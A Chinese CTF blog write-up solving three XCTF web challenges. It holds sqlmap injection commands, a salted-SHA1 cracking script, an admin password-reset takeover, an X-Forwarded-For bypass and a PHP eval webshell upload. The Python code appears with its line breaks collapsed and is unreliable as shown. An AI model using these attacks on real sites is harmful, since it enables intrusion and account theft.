当前位置: 首页 > news >正文

攻防世界题目练习——Web引导模式(五)(持续更新)

题目目录

    • 1. FlatScience
    • 2. bug
    • 3. Confusion1

1. FlatScience

参考博客:
攻防世界web进阶区FlatScience详解
题目点进去如图,点击链接只能看到一些论文pdf
在这里插入图片描述
用dirsearch和御剑扫描出一些隐藏文件:
在这里插入图片描述
在这里插入图片描述
robots.txt:
在这里插入图片描述
admin.php:
在这里插入图片描述
login.php:
在这里插入图片描述
f12查看源码:
admin.php提示无法绕过:
在这里插入图片描述
login.php提示调试参数:
根据参考博客:
攻防世界-FlatScience
知道这里的提示指的是“在页面传入一个debug参数”
在这里插入图片描述
查看源码如图:
在这里插入图片描述
根据源码可以看到,密码在后面拼接上"Salz!"后进行sha1加密。

于是随便提交用户名密码提交抓包,把包复制进sql.txt用sqlmap跑一下,发现参数user存在sql注入:

python sqlmap.py -r sql.txt --batch

在这里插入图片描述
尝试跑数据库:
python sqlmap.py -r sql.txt --batch --dbs
提示说SQLite数据库不能列数据库,只能列表:
在这里插入图片描述
于是:

python sqlmap.py -r sql.txt --batch --tables

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users --columns

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users -C name,password --dump

可以看到密码是sha1加密:
在这里插入图片描述
根据第一篇参考博客说密码可能和pdf有关

脚本参考:
[CTF题目总结-web篇]攻防世界:flatscience

如何发现密码与pdf有关有关:
攻防世界-FlatScience
查看数据库的hint字段:
在这里插入图片描述
首先爬取所有pdf文件:
get_pdf.py

# coding=gbk
import urllib.request
import reallHtml = []
count = 0
pat_pdf = re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html = re.compile("href=\"[0-9]/index\.html\"")def my_reptile(url_root, html):global pat_pdfglobal pat_htmlhtml = url_root + htmlif (isnew(html)):allHtml.append(html)print("[*]starting to crawl site:{}".format(html))with urllib.request.urlopen(html) as f:response = f.read().decode('utf-8')pdf_url = pat_pdf.findall(response)for p in pdf_url:p = p[6:len(p) - 1]download_pdf(html + p)html_url = pat_html.findall(response)for h in html_url:h = h[6:len(h) - 11]my_reptile(html, h)def download_pdf(pdf):global countfd = open(str(count) + '.pdf', 'wb')count += 1print("[+]downloading pdf from site:{}".format(pdf))with urllib.request.urlopen(pdf) as f:fd.write(f.read())fd.close()def isnew(html):global allHtmlfor h in allHtml:if (html == h):return Falsereturn Trueif __name__ == "__main__":my_reptile("http://61.147.171.105:60027/", '')

然后提取pdf的内容保存至txt文件:
安装pdfminer模块:
Python模块安装:Python3安装pdfminer3k
模块使用:
Python 第三方模块之 PDFMiner(pdf信息提取)

pip install pdfminer3k

pdf2txt.py

from pdfminer.pdfparser import PDFParser, PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import osdef pdf2txt(pdfFile, txtFile):print('[+]converting {} to {}'.format(pdfFile, txtFile))fd_txt = open(txtFile, 'w', encoding='utf-8')fd_pdf = open(pdfFile, 'rb')parser = PDFParser(fd_pdf)doc = PDFDocument()parser.set_document(doc)doc.set_parser(parser)doc.initialize()manager = PDFResourceManager()laParams = LAParams()device = PDFPageAggregator(manager, laparams=laParams)interpreter = PDFPageInterpreter(manager, device)for page in doc.get_pages():interpreter.process_page(page)layout = device.get_result()for x in layout:if (isinstance(x, LTTextBoxHorizontal)):fd_txt.write(x.get_text())fd_txt.write('\n')fd_pdf.close()fd_txt.close()print('[-]finished')def crazyWork():print('[*]starting my crazy work')files = []for f in os.listdir():if (f.endswith('.pdf')):files.append(f[0:len(f) - 4])for f in files:pdf2txt(f + '.pdf', f + '.txt')if __name__ == '__main__':crazyWork()

sha1_passwd_search.py

import os
import hashlibdef searchPassword():print('[*]starting to search the word')for file in os.listdir():if (file.endswith('.txt')):print('[+]searching {}'.format(file))with open(file, 'r', encoding='utf-8') as f:for line in f:words = line.split(' ')for word in words:if (hashlib.sha1((word + 'Salz!').encode('utf-8')).hexdigest() =='3fab54a50e770d830c0416df817567662a9dc85c'):print('[@]haha,i find it:{}'.format(word))exit()if __name__ == '__main__':searchPassword()

在这里插入图片描述
用这个密码登录admin.php,获得flag:
在这里插入图片描述

2. bug

进入题目,如图:
在这里插入图片描述
没有头绪,御剑扫出来的config.php和core.php都无法直接访问看到内容,f12也看不到源码,也不存在robots.txt文件:
在这里插入图片描述
先注册一个账号试试:
在这里插入图片描述
注册成功:
在这里插入图片描述
试一试findpwd:
在这里插入图片描述
提示错误:
在这里插入图片描述
猜测可能是因为权限不够?
登录看看:
在这里插入图片描述
用户不存在,奇怪,这应该就是题目的"bug"吧。
查看注册后的response:
在这里插入图片描述
注意到一行代码window.history.go(-1),搜了一下看看:
vue中使用history.go(-1)和history.back()两种返回上一页的区别
博客里指出,
go(-1):原页面表单中的内容会丢失;
history.go(-1):后退+刷新
也就是说 window.history.go(-1)导致原来注册的表单的注册信息内容丢失。

然后就没有头绪了,搜搜解析吧 ^ ^

【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
原来findpwd是找回密码的意思啊T_T
根据参考博客,【注册】和【找回密码】涉及到的知识点是越权。
重新注册后登录成功:
在这里插入图片描述
修改密码时要求长度大于等于6:
在这里插入图片描述
报文如图:
在这里插入图片描述
重新进入登陆页面,直接更改abc的密码,这个忘记密码是不需要原密码的,并且一开始用出生日期验证身份后,在修改密码的表单中只提交了用户名与新密码,cookie中也没有对身份的认证,就可以修改用户名为admin来实现修改admin的密码:
在这里插入图片描述
在这里插入图片描述
用该密码可以成功登录admin账户:
在这里插入图片描述
想点击Manage的时候,弹出提示说ip不允许:
在这里插入图片描述
于是更改ip,抓包修改X-Forwarded-For:127.0.0.1本地访问。
参考文章:
【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
X-Forwarded-For绕过服务器IP地址过滤
HTTP 请求头中的 X-Forwarded-For
X-Forwarded-For用来表示 HTTP 请求端真实 IP。
在这里插入图片描述
可以看到成功进入manager页面:
在这里插入图片描述
页面里什么都没有,f12打开源码看看:
在这里插入图片描述

index.php?module=filemanage&do=???

根据博客【攻防世界WEB】难度五星15分进阶题:bug的讲解,这里主要要注意的是【filemanage,文件管理】,这是一个提示,一般涉及到文件管理能够利用的就是文件上传,所以这里考虑do=upload
在这里插入图片描述
先随便上传一个图片马:
在这里插入图片描述
文件后缀仍为png,而返回报文提示仍检验出了是php文件,所以修改一下内容,改成短语句试试:
在这里插入图片描述
对php的检测消失了,并且提示”you know what i want“,外面的文件后缀已经是jpg了,也就是说文件内容需要有图片的内容,加上图片文件头试试:
在这里插入图片描述
不行,看来得用真正的图片,用二进制编辑工具在图片文件末尾加上这个短语句尝试:
在这里插入图片描述
还是这个提示,可能我理解错了,文件上传页面的标题是"just image?",也就是想要的不只是图片,可能要在文件后缀上试试改为php相关的。
在这里插入图片描述
文件后缀改为php或者pHp都是可以被识别出php的,改成php3不会但仍会出现提示”you know what i want“,不懂,再看看参考博客吧TT
【愚公系列】2023年06月 攻防世界-Web(bug)说本题考点是用javascript执行php代码,哎…

<script language="php"> @eval($_POST['1']); </script>

php3还不能被识别为php文件,需要php4或者php5,下次记得多试一下数字好了…
这个题文件后缀不能直接用php或者pHp,会提示说这是一个php文件,但是又需要后缀能够被识别为php文件,也就是要用不那么明显的php后缀但又必须能为识别为php的后缀。
在这里插入图片描述

3. Confusion1

参考博客:
xctf攻防世界 Web高手进阶区 Confusion1

题目如图:
在这里插入图片描述

一开始一通乱点,啥都没发现,dianjinleblue-whale.me都没发现已经不是题目的链接范围了…
所以只能在Home Login Register里尝试,Home就是初始页面,Login Register点开都显示not found,我还以为真不存在呢,原来要查看源码,遇事不决,查看源码!
在这里插入图片描述
果然在源码里看到里提示,应该是指出flag在/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt文件里,所以要想办法能查看到该文件,根据参考博客,这里应该是考察模板注入,但是我已经忘记了,去看看之前做的题复习一下=_=

相关文章:

攻防世界题目练习——Web引导模式(五)(持续更新)

题目目录 1. FlatScience2. bug3. Confusion1 1. FlatScience 参考博客&#xff1a; 攻防世界web进阶区FlatScience详解 题目点进去如图&#xff0c;点击链接只能看到一些论文pdf 用dirsearch和御剑扫描出一些隐藏文件&#xff1a; robots.txt: admin.php: login.php: f…...

attack vector

攻击介质&#xff0c;是指可以攻击信息系统&#xff0c;破坏其安全性的特定路径、方法或是情景。 vector 此处并不是向量的意思。...

好看的早上问候语早安图片,今天最新唯美温馨祝福语

1、天气冷了&#xff0c;情谊不凉&#xff0c;树叶黄了&#xff0c;思念不忘&#xff0c;问候像一杯热茶&#xff0c;让人暖心&#xff01;祝愿我们与健康平安同行&#xff01;朋友们&#xff0c;大家早上好&#xff01; 2、多一个人牵挂是一种幸福&#xff1b;多一个人相知是一…...

人体关键点检测2:Pytorch实现人体关键点检测(人体姿势估计)含训练代码

人体关键点检测2&#xff1a;Pytorch实现人体关键点检测(人体姿势估计)含训练代码 目录 人体关键点检测2&#xff1a;Pytorch实现人体关键点检测(人体姿势估计)含训练代码 1. 前言 2.人体关键点检测方法 (1)Top-Down(自上而下)方法 (2)Bottom-Up(自下而上)方法&#xff1…...

聚类分析 | Matlab实现基于谱聚类(Spectral Cluster)的数据聚类可视化

聚类分析 | Matlab实现基于谱聚类(Spectral Cluster)的数据聚类可视化 目录 聚类分析 | Matlab实现基于谱聚类(Spectral Cluster)的数据聚类可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现基于谱聚类(Spectral Cluster)的聚类算法可视化&#xff08;完…...

【回眸】Tessy 单元测试软件使用指南(三)怎么打桩和指针测试

目录 前言 Tessy 如何进行打桩操作 普通桩 高级桩 手写桩 Tessy单元测试之指针相关测试注意事项 有类型的指针&#xff08;非函数指针&#xff09;&#xff1a; 有类型的函数指针&#xff1a; void 类型的指针&#xff1a; 结语 前言 进行单元测试之后&#xff0c;但凡…...

关系型数据库-SQLite介绍

优点&#xff1a; 1>sqlite占用的内存和cpu资源较少 2>源代码开源&#xff0c;完全免费 3>检索速度上十几兆、几十兆的数据库sqlite很快&#xff0c;但是上G的时候最慢 4>管理简单&#xff0c;几乎无需管理。灵巧、快速和可靠性高 5>功能简…...

使用shell脚本将一台虚拟机上面数据分发到其他虚拟机上面xsync

目录 1&#xff0c;功能2&#xff0c;注意点3&#xff0c;shell脚本介绍4&#xff0c;bash内容 1&#xff0c;功能 使用shell脚本将一台虚拟机上面数据分发到其他虚拟机上面。 2&#xff0c;注意点 需要修改的地方&#xff1a;hadoop250 hadoop251 hadoop252 hadoop253 hado…...

OpenGL学习(二)绘制三维图形 固定管线

一.简单步骤 考虑顶点数据上色旋转 二.完整代码 myopenglwidget.h // An highlighted block #ifndef MYOPENGLWIDGET_H #define MYOPENGLWIDGET_H #include <QOpenGLWidget> #include <QOpenGLFunctions> #include <QOpenGLShaderProgram> #include <Q…...

微信小程序游戏:移动游戏市场的新兴力量

随着移动互联网的迅猛发展&#xff0c;微信小程序游戏已经成为现代数字娱乐领域的一股不可忽视的力量。这些游戏通过融入微信这一广泛使用的社交平台&#xff0c;为用户带来了全新的游戏体验。本文探讨了微信小程序游戏的特点、发展现状和未来趋势。 微信小程序游戏最大的特点之…...

Netflix Mac(奈飞客户端)激活版软件介绍

Netflix Mac(奈飞客户端)是一款流行的视频播放软件&#xff0c;专为Mac用户设计。它提供了大量的高质量电影、电视剧、纪录片和动画片资源&#xff0c;让用户可以随时随地观看自己喜欢的内容。 首先&#xff0c;Netflix Mac(奈飞客户端)以其简洁直观的用户界面而闻名。用户可以…...

【Docker】进阶之路:(十)Docker日志管理

【Docker】进阶之路&#xff1a;&#xff08;十&#xff09;Docker日志管理 查看引擎日志查看容器日志清理容器日志日志驱动程序日志驱动程序概述local日志驱动json-file 日志驱动syslog 日志驱动日志驱动的选择 Docker 容器日志分为两类&#xff1a;引擎日志和容器日志。Docke…...

Lcss算法介绍与应用演示

Lcss算法介绍 LCSS&#xff08;最长公共子序列&#xff0c;Longest Common Subsequence&#xff09;算法是一种用于比较两个序列相似度的方法。它寻找两个序列中的最长子序列&#xff0c;这个子序列不需要在原始序列中连续&#xff0c;但必须保持原有序列中元素的相对顺序。LC…...

【SpringBoot】从入门到精通的快速开发指南

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《SpringBoot》。&#x1f3af;&#x1f3af; &…...

每日一练【长度最小的子数组】

一、题目描述 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其总和大于等于 target 的长度最小的 连续子数组 [numsl, numsl1, ..., numsr-1, numsr] &#xff0c;并返回其长度。如果不存在符合条件的子数组&#xff0c;返回 0 。 二、题目解析 经…...

HTML 块级元素与行内元素有哪些以及注意、总结

行内元素和块级元素是HTML中的两种元素类型&#xff0c;它们在页面中的显示方式和行为有所不同。 块级元素&#xff08;Block-level Elements&#xff09;&#xff1a; 常见的块级元素有div、p、h1-h6、ul、ol、li、table、form等。 块级元素会独占一行&#xff0c;即使没有…...

SpringBoot热部署

SpringBoot热部署 借鉴链接&#x1f517;&#xff1a;SpringBoot中的热部署 添加devtools依赖和pom插件 <!-- devtools 依赖 --> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-devtools</artifactId&…...

Jmeter入门

一、下载jmeter 官网下载 下载之后解压&#xff0c;在目录/bin下面找到jmeter.bat双击之后即可启动Jmeter。 二、使用 如下左图&#xff0c;选择语言为中文&#xff0c;可以修改测试计划的名称。如下右图&#xff0c;添加线程组 添加线程组 添加http请求 路径传参方式 …...

go集成nacos

1,go集成nacos 注册实例与注销实例 package mainimport ("fmt""github.com/nacos-group/nacos-sdk-go/clients""github.com/nacos-group/nacos-sdk-go/clients/naming_client""github.com/nacos-group/nacos-sdk-go/common/constant"…...

NLP项目实战01--电影评论分类

介绍&#xff1a; 欢迎来到本篇文章&#xff01;在这里&#xff0c;我们将探讨一个常见而重要的自然语言处理任务——文本分类。具体而言&#xff0c;我们将关注情感分析任务&#xff0c;即通过分析电影评论的情感来判断评论是正面的、负面的。 展示&#xff1a; 训练展示如下…...

深入剖析AI大模型:大模型时代的 Prompt 工程全解析

今天聊的内容&#xff0c;我认为是AI开发里面非常重要的内容。它在AI开发里无处不在&#xff0c;当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗"&#xff0c;或者让翻译模型 "将这段合同翻译成商务日语" 时&#xff0c;输入的这句话就是 Prompt。…...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合

强化学习&#xff08;Reinforcement Learning, RL&#xff09;是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程&#xff0c;然后使用强化学习的Actor-Critic机制&#xff08;中文译作“知行互动”机制&#xff09;&#xff0c;逐步迭代求解…...

前端导出带有合并单元格的列表

// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

高危文件识别的常用算法:原理、应用与企业场景

高危文件识别的常用算法&#xff1a;原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件&#xff0c;如包含恶意代码、敏感数据或欺诈内容的文档&#xff0c;在企业协同办公环境中&#xff08;如Teams、Google Workspace&#xff09;尤为重要。结合大模型技术&…...

CSS设置元素的宽度根据其内容自动调整

width: fit-content 是 CSS 中的一个属性值&#xff0c;用于设置元素的宽度根据其内容自动调整&#xff0c;确保宽度刚好容纳内容而不会超出。 效果对比 默认情况&#xff08;width: auto&#xff09;&#xff1a; 块级元素&#xff08;如 <div>&#xff09;会占满父容器…...

回溯算法学习

一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...

Razor编程中@Html的方法使用大全

文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...

为什么要创建 Vue 实例

核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...